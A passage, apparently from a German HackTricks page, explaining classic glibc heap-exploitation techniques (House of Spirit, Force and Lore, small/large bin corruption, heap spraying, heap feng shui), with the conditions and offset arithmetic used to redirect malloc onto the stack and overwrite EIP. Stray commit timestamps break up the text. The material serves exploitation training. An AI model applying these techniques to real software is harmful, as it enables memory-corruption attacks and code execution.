Außerdem muss der benachbarte Chunk des freigegebenen Chunks größer als 8 sein -> Da wir gesagt haben, dass die Größe des freigegebenen Chunks 16 beträgt, müssen wir in diesem falschen Chunk nur eine Größe größer als 8 setzen (da die Shellcode im freigegebenen Chunk sein wird, muss am Anfang ein jmp stehen, der auf nops zeigt, die nach dem size-Feld des neuen falschen Chunks stehen).
**The House of Spirit**
In diesem Fall möchten wir einen Zeiger auf ein malloc haben, der vom Angreifer veränderbar ist (z. B. dass der Zeiger im Stack unter einem möglichen Überlauf zu einer Variablen liegt).
So könnten wir diesen Zeiger auf beliebige Ziele zeigen lassen. Nicht jeder Ort ist jedoch geeignet, die Größe des gefälschten Chunks muss kleiner als av->max\_fast und genauer gesagt gleich der angeforderten Größe bei einem zukünftigen Aufruf von malloc()+8 sein. Daher, wenn wir wissen, dass nach diesem verwundbaren Zeiger ein malloc(40) aufgerufen wird, muss die Größe des gefälschten Chunks 48 betragen.
Wenn das Programm beispielsweise den Benutzer nach einer Zahl fragt, könnten wir 48 eingeben und den veränderbaren malloc-Zeiger auf die nächsten 4 Bytes zeigen lassen (die möglicherweise zum EBP gehören, sodass die 48 dahinter bleiben, als ob es die Kopfgröße wäre). Außerdem muss die Adresse ptr-4+48 mehrere Bedingungen erfüllen (in diesem Fall ist ptr=EBP), d. h. 8 < ptr-4+48 < av->system\_mem.
Wenn dies zutrifft, wird beim nächsten malloc-Aufruf, den wir als malloc(40) angegeben haben, die Adresse auf den EBP gesetzt. Wenn der Angreifer auch kontrollieren kann, was in diesem malloc geschrieben wird, kann er sowohl den EBP als auch den EIP mit der gewünschten Adresse überschreiben.
Ich denke, das liegt daran, dass wenn es freigegeben wird, free() speichert, dass an der Adresse, auf die der EBP auf dem Stack zeigt, ein Chunk mit der perfekten Größe für das neue malloc() gespeichert ist, und weist diesem die Adresse zu.
**The House of Force**
Es wird benötigt:
* Ein Überlauf zu einem Chunk, der es ermöglicht, den wilderness zu überschreiben
* Ein Aufruf von malloc() mit der vom Benutzer definierten Größe
* Ein Aufruf von malloc(), dessen Daten vom Benutzer definiert werden können
Zuerst wird die Größe des wilderness-Chunks mit einem sehr großen Wert (0xffffffff) überschrieben, sodass jede ausreichend große Speicheranforderung in \_int\_malloc() behandelt wird, ohne den Heap erweitern zu müssen.
Zweitens wird av->top geändert, damit es auf einen vom Angreifer kontrollierten Speicherbereich zeigt, wie den Stack. In av->top wird \&EIP - 8 platziert.
Wir müssen av->top überschreiben, damit es auf den vom Angreifer kontrollierten Speicherbereich zeigt:
victim = av->top;
2022-02-28 09:13:08 +00:00
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim erhält den Wert der Adresse des aktuellen wilderness-Chunks (des aktuellen av->top) und remainder ist genau die Summe dieser Adresse plus der Anzahl der Bytes, die von malloc() angefordert wurden. Wenn also \&EIP-8 bei 0xbffff224 liegt und av->top 0x080c2788 enthält, dann ist die Menge, die im kontrollierten malloc reserviert werden muss, damit av->top auf $EIP-8 für das nächste malloc() zeigt:
0xbffff224 - 0x080c2788 = 3086207644.
So wird der geänderte Wert in av->top gespeichert und das nächste malloc zeigt auf den EIP und kann überschrieben werden.
Es ist wichtig zu wissen, dass die Größe des neuen wilderness-Chunks größer sein muss als die Anforderung des letzten malloc(). Das bedeutet, wenn das wilderness auf \&EIP-8 zeigt, wird die Größe genau im EBP-Feld des Stacks liegen.
**The House of Lore**
**SmallBin-Korruption**
Die freigegebenen Chunks werden je nach ihrer Größe in den Bin eingefügt. Bevor sie eingefügt werden, werden sie jedoch in unsorted bins gespeichert. Ein Chunk wird nicht sofort in seinen Bin eingefügt, sondern bleibt in unsorted bins. Wenn ein neuer Chunk reserviert wird und der zuvor freigegebene Chunk verwendet werden kann, wird er zurückgegeben, aber wenn ein größerer Chunk reserviert wird, wird der freigegebene Chunk in den entsprechenden Bin verschoben.
Um den anfälligen Code zu erreichen, muss die Speicheranforderung größer als av->max\_fast (normalerweise 72) und kleiner als MIN\_LARGE\_SIZE (512) sein.
Wenn im Bin ein Chunk mit der richtigen Größe vorhanden ist, wird dieser nach dem Entfernen zurückgegeben:
bck = victim->bk; Zeigt auf den vorherigen Chunk, dies ist die einzige Information, die wir ändern können.
bin->bk = bck; Der vorletzte Chunk wird zum letzten, wenn bck auf den Stack zeigt, wird dem nächsten reservierten Chunk diese Adresse zugewiesen.
bck->fd = bin; Die Liste wird geschlossen, indem sie auf bin zeigt.
Es wird benötigt:
Reservieren Sie zwei mallocs, so dass der erste nach der Freigabe des zweiten überlaufen werden kann, nachdem er in seinen Bin eingefügt wurde (dh ein malloc größer als der zweite Abschnitt reserviert wurde, bevor der Überlauf stattfindet).
Der vom Angreifer gewählte Speicherbereich, der vom reservierten malloc kontrolliert wird.
Das Ziel ist es, wenn wir einen Heap überlaufen können, der darunter einen bereits freigegebenen Abschnitt mit seinem Bin hat, können wir seinen bk-Pointer ändern. Wenn wir seinen bk-Pointer ändern und dieser Abschnitt der erste in der Bin-Liste wird und reserviert wird, wird die Bin getäuscht und glaubt, dass der nächste Abschnitt in der falschen Adresse liegt, die wir angegeben haben (zum Beispiel im Stack oder in der GOT). Wenn also ein weiterer Abschnitt reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Abschnitt an der gewünschten Position gegeben und er kann darauf schreiben.
Nachdem der modifizierte Abschnitt freigegeben wurde, muss ein größerer Abschnitt als der freigegebene reserviert werden, damit der modifizierte Abschnitt aus den unsortierten Bins entfernt und in seinen Bin eingefügt wird.
Sobald er in seinem Bin ist, ist es an der Zeit, seinen bk-Pointer durch den Überlauf zu ändern, damit er auf die gewünschte Adresse zeigt.
Daher muss der Bin warten, bis malloc() ausreichend oft aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und die Bin täuscht, indem sie glaubt, dass der nächste Abschnitt in der falschen Adresse liegt. Dann wird der gewünschte Abschnitt gegeben.
Um die Schwachstelle so schnell wie möglich auszunutzen, wäre ideal: Reservierung des anfälligen Abschnitts, Reservierung des Abschnitts, der geändert wird, Freigabe dieses Abschnitts, Reservierung eines größeren Abschnitts als des zu ändernden, Änderung des Abschnitts (Schwachstelle), Reservierung eines Abschnitts derselben Größe wie der verwundbare Abschnitt und Reservierung eines zweiten Abschnitts derselben Größe, der auf die gewählte Adresse zeigt.
Zum Schutz vor diesem Angriff wird die typische Überprüfung verwendet, dass der Abschnitt "nicht" falsch ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der fd-Pointer des falschen Abschnitts, der im Stack angezeigt wird, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer auf irgendeine Weise (wahrscheinlich über den Stack) in der Lage sein, die Adresse von victim an die richtige Adresse zu schreiben. Damit es wie ein echter Abschnitt aussieht.
**Korruption LargeBin**
Die gleichen Anforderungen wie zuvor sind erforderlich und einige mehr, außerdem müssen die reservierten Abschnitte größer als 512 sein.
Der Angriff ist wie zuvor, dh der bk-Pointer muss geändert werden und all diese malloc()-Aufrufe sind erforderlich, aber zusätzlich muss die Größe des modifizierten Abschnitts so geändert werden, dass diese Größe - nb < MINSIZE ist.
Zum Beispiel muss die Größe auf 1552 gesetzt werden, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion kann nicht negativ sein, da ein unsigned-Wert verglichen wird).
Außerdem wurde ein Patch eingeführt, um es noch komplizierter zu machen.
**Heap Spraying**
Es besteht im Wesentlichen darin, so viel Speicher wie möglich für Heaps zu reservieren und diese mit einer Schicht von Nops gefolgt von einer Shellcode zu füllen. Außerdem wird 0x0c als Polster verwendet. Es wird versucht, zur Adresse 0x0c0c0c0c zu springen, und wenn also eine Adresse überschrieben wird, die mit diesem Polster aufgerufen wird, wird dorthin gesprungen. Im Wesentlichen besteht die Taktik darin, so viel wie möglich zu reservieren, um zu sehen, ob ein Pointer überschrieben wird, und zu 0x0c0c0c0c zu springen, in der Hoffnung, dass dort Nops vorhanden sind.
**Heap Feng Shui**
Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu strukturieren, dass reservierte Abschnitte zwischen freien Abschnitten verbleiben. Der zu überlaufende Puffer wird in einem der freien Abschnitte platziert.
2024-02-10 15:36:32 +00:00
## Interessante Kurse
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
2024-02-10 15:36:32 +00:00
## **Referenzen**
2021-09-26 15:10:12 +00:00
2022-04-05 18:24:52 -04:00
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-30 11:12:47 +01:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen** oder **HackTricks als PDF herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>